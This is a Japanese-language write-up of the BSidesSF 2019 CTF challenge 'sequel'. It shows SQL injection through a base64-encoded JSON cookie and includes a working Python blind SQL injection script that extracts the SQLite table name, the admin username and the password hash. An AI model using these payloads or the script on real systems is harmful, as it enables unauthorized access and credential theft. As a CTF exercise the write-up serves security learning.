BSidesSF 2019 CTF Writeup - sequel
Question
Solution
usernameとpasswordを入力するログイン画面だけ。
適当にusernameとpasswordを試すと、guest/guest
でログインに成功。
curlを使用してヘッダー情報等を確かめる。
root@kali:~# curl https://sequel-9cba4c8e.challenges.bsidessf.net/login -d "username=guest&password=guest" -i -L HTTP/2 302 location: /sequels set-cookie: 1337_AUTH=eyJ1c2VybmFtZSI6Imd1ZXN0IiwicGFzc3dvcmQiOiJndWVzdCJ9; HttpOnly date: Mon, 04 Mar 2019 15:17:28 GMT content-length: 0 via: 1.1 google alt-svc: clear HTTP/2 302 content-type: text/html; charset=utf-8 location: / date: Mon, 04 Mar 2019 15:17:28 GMT content-length: 24 via: 1.1 google alt-svc: clear HTTP/2 200 date: Mon, 04 Mar 2019 15:17:28 GMT content-length: 1783 content-type: text/html; charset=utf-8 via: 1.1 google alt-svc: clear <!doctype html> <html> <head> <title>Sequel Movie Database</title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"> <link href="https://afeld.github.io/emoji-css/emoji.css" rel="stylesheet" integrity="sha384-uGTTb3+0QIk5Qo4quqvZ240ObGuQyjGRx7O5BxG30zuaGowlT7gVbSSGAreaKSCl" crossorigin="anonymous"> <link rel="stylesheet" href="/static/styles.css"> <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js" integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1" crossorigin="anonymous"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script> </head> <body class='text-center'> <h2>Sequel Movie Database Login</h2> <div class="loginbox"> <form class="login" method="post" action="/login"> <input type="hidden" name="guest_password" value="guest"> <input type="text" id="username" class="form-control" name="username" placeholder="username"> <input type="text" id="password" class="form-control" name="password" placeholder="password"> <input type="submit" class="form-control" value="Log In"> </form> </div> </body> </html>
Cookieに1337_AUTH=eyJ1c2VybmFtZSI6Imd1ZXN0IiwicGFzc3dvcmQiOiJndWVzdCJ9
をセットされて、/sequels
にリダイレクトされている。
明らかにBASE64エンコード文字列であるため、デコードして確かめる。
root@kali:~# echo -n eyJ1c2VybmFtZSI6Imd1ZXN0IiwicGFzc3dvcmQiOiJndWVzdCJ9 | base64 -d {"username":"guest","password":"guest"}
usernameとpasswordがJSON形式でセットされていた。
ここが攻め筋と想定。
SQL Injectionを疑っていくつか試すと、
{"username":"guest\" or \"A\"=\"A","password":"guest"}
をBASE64エンコードしてCookieにセットするとログインに成功した。
root@kali:~# echo '{"username":"guest\" or \"A\"=\"A","password":"guest"}' | base64 eyJ1c2VybmFtZSI6Imd1ZXN0XCIgb3IgXCJBXCI9XCJBIiwicGFzc3dvcmQiOiJndWVzdCJ9Cg== root@kali:~# curl https://sequel-9cba4c8e.challenges.bsidessf.net/sequels -H 'Cookie:1337_AUTH=eyJ1c2VybmFtZSI6Imd1ZXN0XCIgb3IgXCJBXCI9XCJBIiwicGFzc3dvcmQiOiJndWVzdCJ9Cg==' <!doctype html> <html> (snip) <h2>Sequel Movie Database</h2> (snip) </html>
あとはBlind SQL Injectionを使用してテーブル内容を抽出するだけ。
以下、実行したスクリプト。DBはSQLiteだった。
import requests import string import base64 URL = 'https://sequel-9cba4c8e.challenges.bsidessf.net/sequels' LETTERS = string.printable target = "" while True: f = False for e in LETTERS: tmp = target + e # 1.テーブル名を取得 payload = r'{{"username":"\" or CASE WHEN SUBSTR((SELECT name FROM sqlite_master limit 0,1),{},1)=\"{}\" THEN true ELSE false END or \"","password":"guest"}}'.format(len(tmp),e) # 2.usernameを取得 #payload = r'{{"username":"\" or CASE WHEN SUBSTR((SELECT username FROM userinfo limit 1,1),{},1)=\"{}\" THEN true ELSE false END or \"","password":"guest"}}'.format(len(tmp),e) # 3.passwordを取得 #payload = r'{{"username":"\" or CASE WHEN SUBSTR((SELECT password FROM userinfo limit 1,1),{},1)=\"{}\" THEN true ELSE false END or \"","password":"guest"}}'.format(len(tmp),e) payload = base64.b64encode(payload.encode('utf-8')).decode("utf-8") req = requests.Request( 'GET', URL, params={ }, cookies={ "1337_AUTH":payload } ) prepared = req.prepare() s = requests.Session() r = s.send(prepared, allow_redirects = False) if "Movie" in r.text: target = tmp print(target) f = True break if f: continue exit()
- # 1の実行結果より、テーブル名は
userinfo
- # 2の実行結果より、usernameは
sequeladmin
- # 3の実行結果より、passwordは
f5ec3af19f0d3679e7d5a148f4ac323d
ということがわかったので、ログインする。
CTF{%did_you_LIKE_it%}
フラグゲット。